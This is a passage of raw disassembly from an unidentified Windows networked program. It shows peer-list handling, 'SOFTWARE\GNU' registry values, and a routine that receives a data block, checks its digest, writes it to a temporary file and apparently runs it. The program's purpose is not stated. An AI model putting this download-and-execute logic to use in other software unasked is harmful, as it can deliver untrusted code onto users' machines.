loc_40AABD:				; CODE XREF: .text:0040AA83j
		lea	eax, [ebp-68h]
		push	eax
		lea	eax, [ebp-0CA4h]
		push	eax
		push	0
		push	0
		push	offset aUpsn	; "upsn"
		push	dword ptr [ebp-54h]
		mov	esi, 200h
		mov	[ebp-68h], esi
		call	ds:dword_429004	; RegQueryValueExA
		push	esi
		lea	eax, [ebp-0CA4h]
		push	eax
		call	sub_414C2D
		jmp	short loc_40AB01
; ---------------------------------------------------------------------------

loc_40AAF1:				; CODE XREF: .text:0040AA2Fj
					; .text:0040AA4Ej
		push	edi
		mov	edi, [ebp-14h]
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx

loc_40AB01:				; CODE XREF: .text:0040AAEFj
		lea	esi, [ebp+30h]
		call	sub_405CF2
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-54h]
		call	sub_40D8F7
		jmp	short loc_40AB81
; ---------------------------------------------------------------------------

loc_40AB17:				; CODE XREF: .text:0040A94Fj
		cmp	eax, 10h
		jz	short loc_40AB81
		cmp	eax, 11h
		jnz	short loc_40AB72
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+7DCh], 4
		jnz	short loc_40AB81
		cmp	dword ptr [ebp-40h], 0
		jz	short loc_40AB81
		push	dword ptr [ebp-40h]
		mov	esi, eax
		mov	dword ptr [esi+7DCh], 5
		call	sub_41D59C
		push	eax
		mov	[esi+9E8h], eax
		call	sub_41BAB5
		push	dword ptr [ebp-40h]
		and	dword ptr [esi+9ECh], 0
		mov	[esi+9E4h], eax
		call	sub_41D59C
		add	esp, 0Ch
		mov	edx, eax
		jmp	loc_40B203
; ---------------------------------------------------------------------------

loc_40AB72:				; CODE XREF: .text:0040AB1Fj
		cmp	eax, 0Ah
		jnz	short loc_40AB81
		cmp	dword ptr [ebp-2Ch], 0
		jnz	loc_40B166

loc_40AB81:				; CODE XREF: .text:0040A78Dj
					; .text:0040A7A1j ...
		mov	eax, [ebp-10h]
		cmp	byte ptr [eax+7B4h], 1
		jnz	loc_40A746
		mov	ecx, eax
		mov	eax, [ecx+7B8h]
		cmp	eax, 1
		jnz	loc_40AF64
		cmp	[ebp-18h], eax
		jnz	short loc_40AC0D
		cmp	[ecx+7DCh], eax
		jnz	loc_40A746
		mov	eax, ecx
		cmp	dword ptr [eax+0A48h], 0
		jnz	loc_40A746
		cmp	dword ptr [ebp-40h], 0
		jz	loc_40A746
		push	dword ptr [ebp-40h]
		call	sub_41D59C
		mov	esi, [ebp-10h]
		mov	[esi+0B70h], ax
		mov	dword ptr [esp], 118h
		call	sub_41BA91
		pop	ecx
		mov	ecx, eax
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_40AC02
		mov	ax, [esi+0B70h]
		push	eax
		mov	eax, esi
		call	sub_40B74E

loc_40AC02:				; CODE XREF: .text:0040ABF1j
		mov	[esi+0A48h], eax
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40AC0D:				; CODE XREF: .text:0040ABA5j
		cmp	dword ptr [ebp-18h], 3
		jnz	loc_40AE14
		cmp	dword ptr [ebp-3Ch], 0
		jz	loc_40A746
		push	dword ptr [ebp-40h]
		call	sub_41D59C
		mov	dword ptr [esp], offset	byte_435F54
		push	dword ptr [ebp-3Ch]
		mov	[ebp+30h], eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40AC48

loc_40AC41:				; CODE XREF: .text:0040AD50j
		push	0
		jmp	loc_40B02B
; ---------------------------------------------------------------------------

loc_40AC48:				; CODE XREF: .text:0040AC3Fj
		mov	eax, ds:dword_43810C
		xor	edi, edi
		add	eax, 588h
		mov	[ebp-18h], edi
		call	sub_408AF0
		test	eax, eax
		mov	[ebp-28h], eax
		jbe	loc_40AD1F

loc_40AC67:				; CODE XREF: .text:0040AD19j
		mov	eax, ds:dword_43810C
		mov	eax, [eax+58Ch]
		mov	esi, edi
		shl	esi, 2
		add	eax, esi
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	dword ptr [eax+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_43810C
		mov	eax, [eax+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+48h]
		xor	ecx, ecx
		test	eax, eax
		mov	[ebp-24h], eax
		mov	[ebp-20h], ecx
		jbe	short loc_40ACFD

loc_40ACA4:				; CODE XREF: .text:0040ACFBj
		mov	eax, ds:dword_43810C
		mov	eax, [eax+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+158h]
		lea	eax, [eax+ecx*4]
		mov	eax, [eax]
		cmp	dword ptr [eax+5A4h], 6
		jnz	short loc_40ACF1
		movzx	ecx, byte ptr [eax+7B4h]
		cmp	ecx, [ebp+30h]
		jnz	short loc_40ACF1
		add	eax, 2Ch
		push	eax
		call	sub_414B44
		push	dword ptr [ebp-14h]
		mov	ebx, eax
		call	sub_414B44
		cmp	eax, ebx
		jnz	short loc_40ACF1
		mov	dword ptr [ebp-18h], 1

loc_40ACF1:				; CODE XREF: .text:0040ACC5j
					; .text:0040ACD1j ...
		mov	ecx, [ebp-20h]
		inc	ecx
		cmp	ecx, [ebp-24h]
		mov	[ebp-20h], ecx
		jb	short loc_40ACA4

loc_40ACFD:				; CODE XREF: .text:0040ACA2j
		mov	eax, ds:dword_43810C
		mov	eax, [eax+58Ch]
		add	eax, esi
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	ds:dword_429138	; ReleaseMutex
		inc	edi
		cmp	edi, [ebp-28h]
		jb	loc_40AC67

loc_40AD1F:				; CODE XREF: .text:0040AC61j
		cmp	dword ptr [ebp+30h], 3
		jnz	loc_40ADE7
		mov	edi, [ebp-14h]
		push	edi
		call	sub_414B44
		push	eax
		call	ds:dword_429274	; inet_ntoa
		push	eax
		mov	esi, offset dword_438188
		call	sub_407331
		test	eax, eax
		jz	loc_40ADE0
		cmp	dword ptr [ebp-18h], 0
		jnz	loc_40AC41
		mov	ebx, [ebp-10h]
		push	3
		mov	eax, ebx
		call	sub_40A2C8
		test	eax, eax
		push	4
		jz	short loc_40ADD9
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx
		mov	esi, 100h
		push	esi
		lea	eax, [ebp-6A4h]
		push	eax
		push	edi
		call	sub_414B20
		xor	eax, eax
		mov	ax, [ebx+0B70h]
		lea	edi, [ebp-484h]
		push	eax
		lea	eax, [ebp-6A4h]
		push	eax
		mov	eax, esi
		call	sub_4094D4
		mov	eax, edi
		push	eax
		call	sub_408F96
		push	0FFFFFFFFh
		push	0
		call	sub_40D864
		add	esp, 14h
		push	1
		push	eax
		push	0
		mov	eax, edi
		push	eax
		push	2
		push	offset dword_4304B8
		push	ebx
		mov	ebx, ds:dword_43810C
		call	sub_40BF38
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40ADD9:				; CODE XREF: .text:0040AD66j
		mov	eax, ebx
		jmp	loc_40B12F
; ---------------------------------------------------------------------------

loc_40ADE0:				; CODE XREF: .text:0040AD46j
		push	0Ah
		jmp	loc_40B02B
; ---------------------------------------------------------------------------

loc_40ADE7:				; CODE XREF: .text:0040AD23j
		cmp	dword ptr [ebp+30h], 2
		jnz	loc_40A746
		cmp	dword ptr [ebp-18h], 0
		jnz	loc_40A746
		mov	eax, [ebp-10h]
		push	2
		call	sub_40A2C8
		test	eax, eax
		push	4
		jz	loc_40B02B
		jmp	loc_40B118
; ---------------------------------------------------------------------------

loc_40AE14:				; CODE XREF: .text:0040AC11j
		cmp	dword ptr [ebp-18h], 5
		jnz	loc_40A746
		push	ds:dword_435F70
		mov	edi, [ebp-14h]
		push	6
		push	offset aDD	; "%d|%d|"
		call	sub_414CA6
		mov	eax, ds:dword_43810C
		add	esp, 0Ch
		add	eax, 588h
		call	sub_408AF0
		xor	edi, edi
		cmp	eax, edi
		mov	[ebp-24h], eax
		mov	[ebp+30h], edi
		jbe	loc_40AF51

loc_40AE55:				; CODE XREF: .text:0040AF4Bj
		mov	eax, ds:dword_43810C
		mov	ebx, [ebp+30h]
		mov	eax, [eax+58Ch]
		shl	ebx, 2
		add	eax, ebx
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	dword ptr [eax+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, ds:dword_43810C
		mov	ecx, [eax+58Ch]
		add	ecx, ebx
		mov	ecx, [ecx]
		mov	ecx, [ecx+48h]
		xor	edx, edx
		test	ecx, ecx
		mov	[ebp-28h], ecx
		mov	[ebp-20h], edx
		jbe	loc_40AF2F

loc_40AE97:				; CODE XREF: .text:0040AF29j
		mov	ecx, [eax+58Ch]
		add	ecx, ebx
		mov	ecx, [ecx]
		mov	ecx, [ecx+158h]
		lea	ecx, [ecx+edx*4]
		mov	esi, [ecx]
		cmp	dword ptr [esi+5A4h], 6
		jnz	short loc_40AF1F
		cmp	byte ptr [esi+7B4h], 3
		jnz	short loc_40AF1F
		test	edi, edi
		jz	short loc_40AED0
		mov	edi, [ebp-14h]
		push	offset asc_430034 ; ","
		call	sub_414CA6
		pop	ecx

loc_40AED0:				; CODE XREF: .text:0040AEC0j
		mov	edi, 100h
		push	edi
		lea	eax, [ebp-380h]
		push	eax
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_414B20
		xor	eax, eax
		mov	ax, [esi+0B70h]
		push	eax
		lea	eax, [ebp-380h]
		push	eax
		mov	eax, edi
		lea	edi, [ebp-27Ch]
		call	sub_4094D4
		mov	eax, edi
		mov	edi, [ebp-14h]
		push	eax
		push	offset dword_430384
		call	sub_414CA6
		mov	eax, ds:dword_43810C
		xor	edi, edi
		add	esp, 10h
		inc	edi

loc_40AF1F:				; CODE XREF: .text:0040AEB3j
					; .text:0040AEBCj
		mov	edx, [ebp-20h]
		inc	edx
		cmp	edx, [ebp-28h]
		mov	[ebp-20h], edx
		jb	loc_40AE97

loc_40AF2F:				; CODE XREF: .text:0040AE91j
		mov	eax, [eax+58Ch]
		add	eax, ebx
		mov	eax, [eax]
		push	dword ptr [eax+10h]
		call	ds:dword_429138	; ReleaseMutex
		inc	dword ptr [ebp+30h]
		mov	eax, [ebp+30h]
		cmp	eax, [ebp-24h]
		jb	loc_40AE55

loc_40AF51:				; CODE XREF: .text:0040AE4Fj
		mov	edi, [ebp-14h]
		push	offset asc_42FF68 ; "\r\n"
		call	sub_414CA6

loc_40AF5E:				; CODE XREF: .text:0040B126j
		pop	ecx
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: .text:0040AB9Cj
		test	eax, eax
		jnz	loc_40A746
		cmp	dword ptr [ebp-18h], 2
		jnz	loc_40B0CD
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+7DCh], 1
		jnz	loc_40A746
		cmp	dword ptr [ebp-40h], 0
		jz	loc_40A746
		push	offset dword_42FE10
		push	dword ptr [ebp-40h]
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_40B033
		mov	eax, ds:dword_435F6C
		inc	eax
		xor	edx, edx
		cmp	ds:dword_435F78, edx
		mov	ds:dword_435F6C, eax
		jnz	short loc_40B02A
		mov	ecx, ds:dword_435F68
		cmp	ecx, edx
		jnz	short loc_40AFCB
		cmp	eax, 1
		jz	short loc_40AFFA

loc_40AFCB:				; CODE XREF: .text:0040AFC4j
		test	ecx, ecx
		mov	[ebp+30h], ecx
		fild	dword ptr [ebp+30h]
		jge	short loc_40AFDB
		fadd	ds:flt_430D30

loc_40AFDB:				; CODE XREF: .text:0040AFD3j
		test	eax, eax
		mov	[ebp+30h], eax
		fild	dword ptr [ebp+30h]
		jge	short loc_40AFEB
		fadd	ds:flt_430D30

loc_40AFEB:				; CODE XREF: .text:0040AFE3j
		fdivp	st(1), st
		fcomp	ds:flt_430D34
		fnstsw	ax
		test	ah, 41h
		jp	short loc_40B02A

loc_40AFFA:				; CODE XREF: .text:0040AFC9j
		mov	edi, [ebp-14h]
		push	2
		pop	ebx
		push	ebx
		push	3
		push	offset aDD_0	; "%d|%d\r\n"
		mov	ds:dword_435F64, edx
		call	sub_414CA6
		mov	eax, [ebp-10h]
		add	esp, 0Ch
		mov	[eax+0A4Ch], bl
		mov	[eax+7DCh], ebx
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40B02A:				; CODE XREF: .text:0040AFBAj
					; .text:0040AFF8j
		push	edx

loc_40B02B:				; CODE XREF: .text:0040AC43j
					; .text:0040ADE2j ...
		mov	eax, [ebp-10h]
		jmp	loc_40B12F
; ---------------------------------------------------------------------------

loc_40B033:				; CODE XREF: .text:0040AFA1j
		mov	eax, ds:dword_435F68
		inc	eax
		cmp	ds:dword_435F78, 0
		mov	ds:dword_435F68, eax
		ja	short loc_40B085
		cmp	eax, 1
		mov	ecx, ds:dword_435F6C
		jnz	short loc_40B056
		test	ecx, ecx
		jz	short loc_40B085

loc_40B056:				; CODE XREF: .text:0040B050j
		test	eax, eax
		mov	[ebp+30h], eax
		fild	dword ptr [ebp+30h]
		jge	short loc_40B066
		fadd	ds:flt_430D30

loc_40B066:				; CODE XREF: .text:0040B05Ej
		test	ecx, ecx
		mov	[ebp+30h], ecx
		fild	dword ptr [ebp+30h]
		jge	short loc_40B076
		fadd	ds:flt_430D30

loc_40B076:				; CODE XREF: .text:0040B06Ej
		fdivp	st(1), st
		fcomp	ds:flt_430D34
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B08F

loc_40B085:				; CODE XREF: .text:0040B045j
					; .text:0040B054j
		mov	ds:dword_435F64, 1

loc_40B08F:				; CODE XREF: .text:0040B083j
		cmp	ds:dword_435F64, 1
		mov	esi, [ebp-10h]
		mov	edi, [ebp-14h]
		push	2
		pop	ebx
		setz	al
		add	al, bl
		mov	[esi+0A4Ch], al
		movzx	eax, al
		push	offset byte_435F54
		push	eax
		push	3
		push	offset aDDS	; "%d|%d|%s\r\n"
		call	sub_414CA6
		add	esp, 10h
		mov	[esi+7DCh], ebx
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40B0CD:				; CODE XREF: .text:0040AF70j
		cmp	dword ptr [ebp-18h], 4
		jnz	loc_40A746
		mov	eax, [ebp-10h]
		cmp	dword ptr [eax+7DCh], 2
		jnz	loc_40A746
		mov	esi, eax
		mov	al, [esi+0A4Ch]
		push	3
		pop	ebx
		cmp	al, bl
		jnz	short loc_40B139
		push	ebx
		mov	eax, esi
		call	sub_40A2C8
		test	eax, eax
		jz	short loc_40B12B
		call	sub_409351
		cmp	eax, 28h
		jnb	short loc_40B116
		mov	[esi+7DCh], ebx
		push	8
		jmp	short loc_40B118
; ---------------------------------------------------------------------------

loc_40B116:				; CODE XREF: .text:0040B10Aj
		push	0Dh

loc_40B118:				; CODE XREF: .text:0040AE0Fj
					; .text:0040B114j
		mov	edi, [ebp-14h]
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		pop	ecx
		jmp	loc_40AF5E
; ---------------------------------------------------------------------------

loc_40B12B:				; CODE XREF: .text:0040B100j
		mov	eax, esi

loc_40B12D:				; CODE XREF: .text:0040B164j
		push	4

loc_40B12F:				; CODE XREF: .text:0040ADDBj
					; .text:0040B02Ej
		call	sub_409B12
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40B139:				; CODE XREF: .text:0040B0F4j
		cmp	al, 2
		jnz	loc_40A746
		mov	edx, [ebp-10h]
		push	2
		mov	eax, edx
		call	sub_40A2C8
		test	eax, eax
		jz	short loc_40B162
		push	edx
		mov	ds:dword_438108, edx
		call	sub_40B64D
		jmp	loc_40A746
; ---------------------------------------------------------------------------

loc_40B162:				; CODE XREF: .text:0040B14Fj
		mov	eax, edx
		jmp	short loc_40B12D
; ---------------------------------------------------------------------------

loc_40B166:				; CODE XREF: .text:0040AB7Bj
		push	10h
		xor	ebx, ebx
		push	ebx
		push	dword ptr [ebp-40h]
		call	sub_41CC5B
		mov	esi, [ebp-10h]
		push	dword ptr [ebp-3Ch]
		mov	[esi+0D9Ch], eax
		call	sub_41D59C
		push	20h
		push	dword ptr [ebp-38h]
		mov	[esi+0DA0h], eax
		lea	eax, [esi+0DA4h]
		push	eax
		mov	[esi+0B94h], ebx
		call	sub_41C5A0
		push	dword ptr [ebp-34h]
		call	sub_41D59C
		push	dword ptr [ebp-30h]
		mov	[esi+0DC4h], eax
		call	sub_41D59C
		push	dword ptr [ebp-2Ch]
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[esi+0DCCh], eax
		call	sub_41D59C
		add	esp, 28h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[esi+0DC8h], eax
		jz	short loc_40B1EE
		mov	edx, [esi+0DA0h]
		mov	dword ptr [esi+0B8Ch], 2
		jmp	short loc_40B203
; ---------------------------------------------------------------------------

loc_40B1EE:				; CODE XREF: .text:0040B1DAj
		mov	dword ptr [esi+0B8Ch], 1
		mov	[esi+0B98h], ebx
		mov	edx, 200h

loc_40B203:				; CODE XREF: .text:0040AB6Dj
					; .text:0040B1ECj
		mov	eax, edi
		call	sub_414FF1

loc_40B20A:				; CODE XREF: .text:0040A741j
		mov	ebx, [ebp-10h]
		jmp	loc_40A40A
; ---------------------------------------------------------------------------

loc_40B212:				; CODE XREF: .text:0040A41Bj
		mov	eax, [ebx+9ECh]
		cmp	eax, [ebx+9E8h]
		jnb	short loc_40B29A
		mov	esi, [ebp-1Ch]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		call	sub_415008
		push	dword ptr [esi]
		mov	ecx, eax
		lea	eax, [ebx+9F0h]
		mov	ebx, ecx
		call	sub_41707B
		pop	ecx
		mov	ecx, esi
		call	sub_415008
		push	eax
		push	dword ptr [esi]
		mov	esi, [ebp-10h]
		mov	eax, [esi+9E4h]
		add	eax, [esi+9ECh]
		push	eax
		call	sub_41BC60
		mov	ecx, [ebp-1Ch]
		add	esp, 0Ch
		call	sub_415008
		add	[esi+9ECh], eax
		mov	eax, [esi+9ECh]
		cmp	eax, [esi+9E8h]
		jnz	short loc_40B297
		mov	eax, [ebp-1Ch]
		mov	edx, 200h
		call	sub_414FF1
		mov	eax, esi
		and	dword ptr [eax+7E0h], 0

loc_40B297:				; CODE XREF: .text:0040B27Fj
		mov	ebx, [ebp-10h]

loc_40B29A:				; CODE XREF: .text:0040B21Ej
		mov	eax, [ebx+9ECh]
		cmp	eax, [ebx+9E8h]
		jb	loc_40B3E4
		mov	esi, [ebp-1Ch]
		mov	eax, esi
		call	sub_41501F
		mov	ecx, esi
		lea	edi, [ebx+7E0h]
		call	sub_415008
		push	dword ptr [esi]
		mov	esi, eax
		mov	eax, edi
		call	sub_40D6E6
		mov	eax, 200h
		cmp	[edi], eax
		jnz	loc_40B3E4
		push	eax
		lea	eax, [ebx+7E4h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-0EA4h]
		push	eax
		mov	eax, offset dword_436E90
		call	sub_418FBD
		add	esp, 10h
		test	eax, eax
		jnz	loc_40B3E4
		cmp	dword ptr [ebp-5Ch], 10h
		jnz	loc_40B3E4
		lea	eax, [ebp-7Ch]
		lea	edi, [ebx+9F0h]
		push	eax
		call	sub_417107
		push	10h
		lea	eax, [ebp-7Ch]
		push	eax
		lea	eax, [ebp-0EA4h]
		push	eax
		call	sub_41D290
		add	esp, 10h
		test	eax, eax
		jnz	loc_40B3E4
		push	offset aSoftwareGnu ; "SOFTWARE\\GNU"
		push	80000001h
		lea	esi, [ebp-54h]
		call	sub_40D8DC
		push	10h
		lea	eax, [ebp-7Ch]
		push	eax
		push	3
		xor	esi, esi
		push	esi
		push	offset aUphs	; "uphs"
		push	dword ptr [ebp-54h]
		call	ds:dword_429020	; RegSetValueExA
		push	200h
		lea	eax, [ebx+7E4h]
		push	eax
		push	offset aUpsn	; "upsn"
		lea	eax, [ebp-54h]
		call	sub_40D9C3
		lea	eax, [ebp-384h]
		push	eax
		push	104h
		call	ds:dword_42911C	; GetTempPathA
		lea	eax, [ebp-280h]
		push	eax
		push	esi
		push	esi
		lea	eax, [ebp-384h]
		push	eax
		call	ds:dword_429118	; GetTempFileNameA
		or	dword ptr [ebp+30h], 0FFFFFFFFh
		lea	eax, [ebp-280h]
		push	eax
		lea	eax, [ebp+30h]
		call	sub_405CD8
		push	dword ptr [ebx+9E8h]
		lea	eax, [ebp+30h]
		push	dword ptr [ebx+9E4h]
		push	eax
		call	sub_405D4F
		lea	esi, [ebp+30h]
		call	sub_405CF2
		lea	eax, [ebp-280h]
		push	eax
		call	sub_416F51

loc_40B3E1:				; CODE XREF: .text:0040A758j
		mov	ebx, [ebp-10h]

loc_40B3E4:				; CODE XREF: .text:0040A453j
					; .text:0040A476j ...
		push	dword ptr [ebp-14h]
		mov	edi, [ebp-1Ch]

loc_40B3EA:				; CODE XREF: .text:0040A405j
		call	sub_414EDD
		test	eax, eax
		jg	loc_40A40A

loc_40B3F7:				; CODE XREF: .text:0040A3EBj
		lea	esi, [ebx+0B78h]
		mov	eax, esi
		call	sub_416B46
		test	eax, eax
		jz	short loc_40B44C
		xor	edi, edi
		cmp	[ebx+0B88h], edi
		jnz	short loc_40B43E
		push	0Bh
		push	offset aD	; "%d\r\n"
		lea	edi, [ebx+2Ch]
		call	sub_414CA6
		pop	ecx
		pop	ecx
		mov	dword ptr [ebx+0B80h], 27100h
		call	sub_416B0E
		mov	dword ptr [ebx+0B88h], 1
		jmp	short loc_40B44C
; ---------------------------------------------------------------------------

loc_40B43E:				; CODE XREF: .text:0040B410j
		push	edi
		mov	eax, ebx
		call	sub_409B12
		mov	[ebx+0B80h], edi

loc_40B44C:				; CODE XREF: .text:0040B406j
					; .text:0040B43Cj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	2Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B45D	proc near		; DATA XREF: .text:00430528o

var_220		= byte ptr -220h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+7B8h]
		test	eax, eax
		push	esi
		push	edi
		jnz	loc_40B527
		lea	edi, [ebx+2Ch]
		push	edi
		call	sub_414B68
		cmp	ds:dword_435F64, 0
		mov	[ebx+0B70h], ax
		jnz	short loc_40B4A0
		push	ebx
		mov	ds:dword_438108, ebx
		call	sub_40B64D
		jmp	short loc_40B4C9
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B45D+33j
		cmp	dword ptr [ebx+7DCh], 0
		jnz	short loc_40B4C9
		call	sub_4048C1
		movzx	eax, ax
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset aDD_0	; "%d|%d\r\n"
		call	sub_414CA6
		add	esp, 0Ch
		mov	[ebx+7DCh], esi

loc_40B4C9:				; CODE XREF: sub_40B45D+41j
					; sub_40B45D+4Aj
		push	edi
		lea	esi, [ebx+0A50h]
		call	sub_414B68
		lea	edi, [ebp+var_100]
		push	eax
		push	esi
		mov	eax, 100h
		call	sub_4094D4
		mov	eax, edi
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CB7
		push	48h
		pop	ecx
		mov	esi, eax
		lea	eax, [ebx+0A50h]
		sub	esp, 110h
		mov	edi, eax
		rep movsd
		inc	dword ptr [ebx+0B54h]
		push	48h
		pop	ecx
		mov	esi, eax
		mov	edi, esp
		rep movsd
		call	sub_40925E
		add	esp, 120h
		jmp	short loc_40B534
; ---------------------------------------------------------------------------

loc_40B527:				; CODE XREF: sub_40B45D+16j
		xor	esi, esi
		inc	esi
		cmp	eax, esi
		jnz	short loc_40B534
		mov	[ebx+7DCh], esi

loc_40B534:				; CODE XREF: sub_40B45D+C8j
					; sub_40B45D+CFj
		pop	edi
		pop	esi
		mov	dword ptr [ebx+0B80h], 13880h
		pop	ebx
		leave
		retn
sub_40B45D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B543	proc near		; DATA XREF: .text:off_430524o

var_220		= byte ptr -220h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		push	0FFFFFFFFh
		lea	esi, [ebx+7D8h]
		push	dword ptr [esi]
		call	ds:dword_429128	; WaitForSingleObject
		mov	eax, [ebx+0A48h]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_40B572
		call	sub_40B8C8

loc_40B572:				; CODE XREF: sub_40B543+28j
		push	dword ptr [esi]
		call	ds:dword_429138	; ReleaseMutex
		cmp	ds:dword_438108, ebx
		jnz	short loc_40B599
		cmp	byte ptr [ebx+7B4h], 2
		jnz	short loc_40B599
		cmp	[ebx+7B8h], edi
		jnz	short loc_40B599
		mov	ds:dword_438108, edi

loc_40B599:				; CODE XREF: sub_40B543+3Dj
					; sub_40B543+46j ...
		cmp	[ebp+arg_0], 1
		jz	short loc_40B5A9
		cmp	[ebp+arg_0], 2
		jnz	loc_40B630

loc_40B5A9:				; CODE XREF: sub_40B543+5Aj
		cmp	[ebx+7B8h], edi
		jnz	short loc_40B630
		xor	ecx, ecx
		mov	cx, [ebx+0B50h]
		lea	eax, [ebx+0A50h]
		lea	edi, [ebp+var_100]
		push	ecx
		push	eax
		mov	eax, 100h
		call	sub_4094D4
		mov	eax, edi
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_408CB7
		push	48h
		pop	ecx
		mov	esi, eax
		lea	eax, [ebx+0A50h]
		sub	esp, 110h
		mov	edi, eax
		rep movsd
		inc	dword ptr [ebx+0B58h]
		push	48h
		pop	ecx
		mov	esi, eax
		mov	edi, esp
		rep movsd
		call	sub_40925E
		add	esp, 120h
		cmp	dword ptr [ebx+0B68h], 0
		jnz	short loc_40B630
		call	sub_409351
		cmp	eax, 28h
		jbe	short loc_40B630
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_4091F9
		pop	ecx

loc_40B630:				; CODE XREF: sub_40B543+60j
					; sub_40B543+6Cj ...
		add	ebx, 0B90h
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40B646
		push	eax
		call	sub_41CA28
		and	dword ptr [ebx], 0
		pop	ecx

loc_40B646:				; CODE XREF: sub_40B543+F7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40B543	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64D	proc near		; CODE XREF: .text:0040B158p
					; sub_40B45D+3Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, ds:dword_43810C
		push	edi
		add	eax, 588h
		call	sub_408AF0
		xor	edi, edi
		test	eax, eax
		mov	[ebp+var_8], eax
		jbe	loc_40B6F8
		push	ebx
		push	esi

loc_40B671:				; CODE XREF: sub_40B64D+A3j
		mov	eax, ds:dword_43810C
		mov	eax, [eax+58Ch]
		mov	esi, edi
		shl	esi, 2
		add	eax, esi
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	dword ptr [eax+10h]
		call	ds:dword_429128	; WaitForSingleObject
		mov	ecx, ds:dword_43810C
		mov	eax, [ecx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+48h]
		xor	ebx, ebx
		test	eax, eax
		mov	[ebp+var_4], eax
		jbe	short loc_40B6D9

loc_40B6AC:				; CODE XREF: sub_40B64D+8Aj
		mov	eax, [ecx+58Ch]
		add	eax, esi
		mov	eax, [eax]
		mov	eax, [eax+158h]
		lea	eax, [eax+ebx*4]
		mov	eax, [eax]
		cmp	eax, [ebp+arg_0]
		jz	short loc_40B6D3
		push	0
		call	sub_409B12
		mov	ecx, ds:dword_43810C

loc_40B6D3:				; CODE XREF: sub_40B64D+77j
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jb	short loc_40B6AC

loc_40B6D9:				; CODE XREF: sub_40B64D+5Dj
		mov	ecx, [ecx+58Ch]
		add	ecx, esi
		mov	eax, [ecx]
		push	dword ptr [eax+10h]
		call	ds:dword_429138	; ReleaseMutex
		inc	edi
		cmp	edi, [ebp+var_8]
		jb	loc_40B671
		pop	esi
		pop	ebx

loc_40B6F8:				; CODE XREF: sub_40B64D+1Cj
		call	sub_409351
		cmp	eax, 28h
		jnb	short loc_40B716
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+7DCh], 3
		push	8
		lea	edi, [eax+2Ch]
		jmp	short loc_40B71E
; ---------------------------------------------------------------------------

loc_40B716:				; CODE XREF: sub_40B64D+B3j
		mov	edi, [ebp+arg_0]
		push	0Dh
		add	edi, 2Ch

loc_40B71E:				; CODE XREF: sub_40B64D+C7j
		push	offset aD	; "%d\r\n"
		call	sub_414CA6
		pop	ecx
		pop	ecx
		pop	edi
		leave
		retn	4
sub_40B64D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B72F	proc near		; CODE XREF: sub_40A355+46p
					; .text:0040A3F3p ...
		push	esi
		lea	esi, [edi+0B78h]
		mov	dword ptr [edi+0B80h], 13880h
		call	sub_416B0E
		and	dword ptr [edi+0B88h], 0
		pop	esi
		retn
sub_40B72F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B74E	proc near		; CODE XREF: .text:0040ABFDp

arg_0		= word ptr  4

		push	esi
		mov	esi, ecx
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		push	100h
		lea	ecx, [esi+14h]
		mov	[esi+10h], eax
		push	ecx
		add	eax, 2Ch
		push	eax
		mov	dword ptr [esi], offset	off_430518
		call	sub_414B20
